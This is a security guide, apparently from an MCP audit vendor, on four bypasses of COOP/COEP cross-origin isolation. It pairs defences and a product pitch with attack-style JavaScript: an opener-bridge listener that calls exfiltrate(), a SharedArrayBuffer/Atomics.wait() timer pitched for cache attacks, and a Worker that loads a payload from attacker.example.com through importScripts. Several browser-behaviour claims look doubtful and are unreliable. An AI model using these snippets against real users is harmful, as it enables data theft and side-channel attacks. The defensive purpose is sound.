Security Guide
MCP server COOP/COEP bypass security — cross-origin isolation bypass, same-origin-allow-popups window bridge, COEP credentialless Spectre restore, COOP reporting leakage
Cross-Origin Opener Policy (COOP) and Cross-Origin Embedder Policy (COEP) together enable cross-origin isolation — the browser security model that gates access to SharedArrayBuffer, high-resolution timers, and process separation. But COOP and COEP have gaps that MCP tool authors can exploit: the same-origin-allow-popups value leaves a live window.opener bridge to cross-origin popups before the policy kicks in; COEP: credentialless enables SharedArrayBuffer while simultaneously restoring the high-resolution Spectre timer attack surface; COOP report-to endpoints receive cross-origin navigation targets; and COEP enforcement on Workers has importScripts gaps in some configurations. This page maps all four bypass patterns with code examples and defense recommendations.
COOP same-origin-allow-popups — the pre-close window.opener bridge
Cross-Origin-Opener-Policy: same-origin severs the window.opener reference when a page opens a cross-origin popup. But the more permissive value same-origin-allow-popups — used when the application legitimately needs to open cross-origin payment flows, OAuth windows, or third-party widgets — preserves window.opener access until the policy has time to take effect. The gap: a page that opens a cross-origin popup via window.open() retains a JavaScript reference to the popup's window object. Before COOP severs it, the opener can post messages to the popup and read responses.
// MCP tool code — exploiting same-origin-allow-popups to bridge cross-origin data
// The host page uses COOP: same-origin-allow-popups (to allow OAuth flows)
// An MCP tool running in the page can use this to establish a cross-origin bridge:
const popup = window.open('https://target.example.com/sensitive-page', '_blank');
// window.opener reference is preserved (same-origin-allow-popups)
// Before COOP fully severs the reference, set up a postMessage listener
popup.addEventListener('load', () => {
// The popup's same-origin scripts may call window.opener.postMessage()
// with data the target page's developers intended for their own OAuth flow
// An attacker-controlled relay at target.example.com (or a compromised third party)
// can route data through the opener bridge to the MCP tool
});
// COOP report-to: the browser sends a report to the configured endpoint
// whenever a cross-origin popup interaction is severed — this report contains
// the target URL of the popup window, leaking navigation intent
window.addEventListener('message', (e) => {
if (e.origin === 'https://target.example.com') {
exfiltrate(e.data); // cross-origin data bridged via the opener relationship
}
});
same-origin-allow-popups is weaker than same-origin. Applications that need OAuth or payment flows should use same-origin-allow-popups only when required, and should not load untrusted MCP tool output on pages that open cross-origin popups with the same policy. Tool output on same-origin pages cannot form this bridge at all.
COEP credentialless — SharedArrayBuffer with restored Spectre timers
Cross-Origin-Embedder-Policy: credentialless (Chrome 96+) is an alternative to require-corp that enables SharedArrayBuffer without requiring every embedded cross-origin resource to send Cross-Origin-Resource-Policy headers. It works by stripping credentials from cross-origin subresource requests instead of blocking them. The security paradox: COEP: credentialless meets the browser's requirement for cross-origin isolation, which enables SharedArrayBuffer — but SharedArrayBuffer with an Atomics.wait() loop in a Worker is itself a high-resolution Spectre timer that bypasses performance.now() coarsening.
// COEP: credentialless enables SharedArrayBuffer
// SharedArrayBuffer + Atomics.wait() creates a high-resolution timer
// bypassing performance.now() jitter added for Spectre mitigation
// Main thread: allocate a shared 8-byte buffer for timer signaling
const sab = new SharedArrayBuffer(8);
const sharedCounter = new Int32Array(sab);
// Worker thread: ticker loop using Atomics.wait() for high-resolution timing
// (Sent to Worker via postMessage({ sab }))
self.onmessage = ({ data: { sab } }) => {
const counter = new Int32Array(sab);
let n = 0;
while (true) {
// Atomics.wait() with 0 timeout — immediately returns "timed-out"
// Each call takes ~1-5ns depending on CPU; counter increments at nanosecond precision
Atomics.wait(counter, 0, counter[0], 0);
Atomics.add(counter, 0, 1);
}
};
// Main thread: read the counter for high-resolution time measurement
function highResTick() {
return Atomics.load(sharedCounter, 0);
}
// Resolution: ~1-5ns — sufficient for Flush+Reload and Prime+Probe cache attacks
// This bypasses performance.now() coarsening (1ms in Chrome, 20µs-100µs with COOP/COEP)
// COEP: credentialless is the trigger — it's what enables the SharedArrayBuffer
COEP: credentialless is a Spectre timer enabler. Deploying COEP: credentialless to fix a SharedArrayBuffer requirement simultaneously enables the Atomics.wait() high-resolution timer. Any MCP tool running in a cross-origin-isolated context can build a nanosecond-precision clock using SharedArrayBuffer + Atomics.wait() and use it for cache timing attacks.
COOP report-to — cross-origin navigation target leakage
COOP supports a report-to directive that sends violation reports when a cross-origin navigation interaction is severed by the policy. These reports are sent to the configured reporting endpoint and include the type of interaction and — critically — information about the cross-origin navigation target. An MCP tool that can influence the Report-To header configuration, or that can read reports from a shared reporting endpoint, can learn which cross-origin URLs the application navigates to when COOP prevents the opener from accessing them.
// COOP violation report structure — sent to Report-To endpoint
// when cross-origin popup interaction is severed by COOP: same-origin
// Example report payload received at the reporting endpoint:
{
"type": "coop",
"age": 10,
"url": "https://app.example.com/dashboard", // the opener page
"user_agent": "Mozilla/5.0 ...",
"body": {
"disposition": "enforce",
"effectivePolicy": "same-origin",
"openeeURL": "https://payment.external.com/checkout/session/abc123",
// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// The cross-origin URL that was severed — revealed in the report
// Includes path and query parameters: session ID, amount, etc.
"openerURL": "https://app.example.com/checkout",
"type": "navigation-to-response"
}
}
// If the Report-To endpoint is:
// (a) attacker-controlled (via header injection)
// (b) shared with an attacker via same-origin script access
// Then the attacker learns every cross-origin URL the application opened,
// including OAuth redirect URIs, payment session URLs, and SSO endpoints
COEP: require-corp — Worker importScripts gap
When a page deploys COEP: require-corp, all cross-origin subresources must include a Cross-Origin-Resource-Policy header. Workers created in that page context inherit the COEP policy — they cannot load cross-origin scripts without CORP. However, the enforcement of COEP on importScripts() calls inside Workers has had inconsistent implementation history. In some Chromium versions prior to 107, importScripts() from a Worker created in a require-corp context did not enforce CORP on the imported scripts. An attacker who can create a Worker and call importScripts() to a cross-origin script they control can load arbitrary code into the Worker context without the CORP header — bypassing COEP's enforcement perimeter.
// COEP: require-corp Worker importScripts() bypass (pre-Chrome 107 behavior)
// The main page has: Cross-Origin-Embedder-Policy: require-corp
// Attacker creates a Worker from a Blob URL (same-origin, not subject to CORP check)
const workerCode = `
// Inside the Worker — importScripts() loads a cross-origin script
// In pre-107 Chromium: COEP require-corp is NOT enforced on importScripts()
importScripts('https://attacker.example.com/payload.js');
// payload.js now runs inside the Worker in the cross-origin-isolated context
// The Worker has access to SharedArrayBuffer from the main page
// This restores the Spectre timer even when COEP was intended to limit it
`;
const blob = new Blob([workerCode], { type: 'application/javascript' });
const worker = new Worker(URL.createObjectURL(blob));
// Defense: Chrome 107+ enforces COEP on importScripts()
// Pin Electron version to Chromium 107+ (Electron 22+)
// Use Content Security Policy worker-src to restrict Worker script sources
| Bypass | COOP/COEP value | What it enables | Defense |
|---|---|---|---|
| same-origin-allow-popups opener bridge | COOP: same-origin-allow-popups | Cross-origin postMessage relay via window.opener before COOP severs reference | Use COOP: same-origin where possible; isolate OAuth flows to separate navigations |
| credentialless Spectre timer restore | COEP: credentialless | SharedArrayBuffer enabled → Atomics.wait() high-resolution timer → Spectre attacks | Treat credentialless pages as Spectre-exposed; block SharedArrayBuffer in tool contexts via Permissions-Policy |
| COOP report-to navigation leakage | COOP report-to directive | Cross-origin navigation targets (including OAuth and payment URLs) exposed in violation reports | Send COOP reports to internal-only endpoint; sanitize report content server-side |
| COEP Worker importScripts gap | COEP: require-corp (pre-Chrome 107) | Cross-origin scripts loaded into Worker context without CORP header, bypassing COEP | Pin to Chromium 107+; add worker-src CSP to restrict Worker script sources |
SkillAudit findings for COOP/COEP misconfigurations
Audit your MCP server's cross-origin isolation configuration
SkillAudit checks COOP/COEP header values, identifies credentialless + SharedArrayBuffer combinations, and flags COOP report-to configurations that leak navigation targets. Paste a GitHub URL and get a graded report in 60 seconds.
Run a free audit →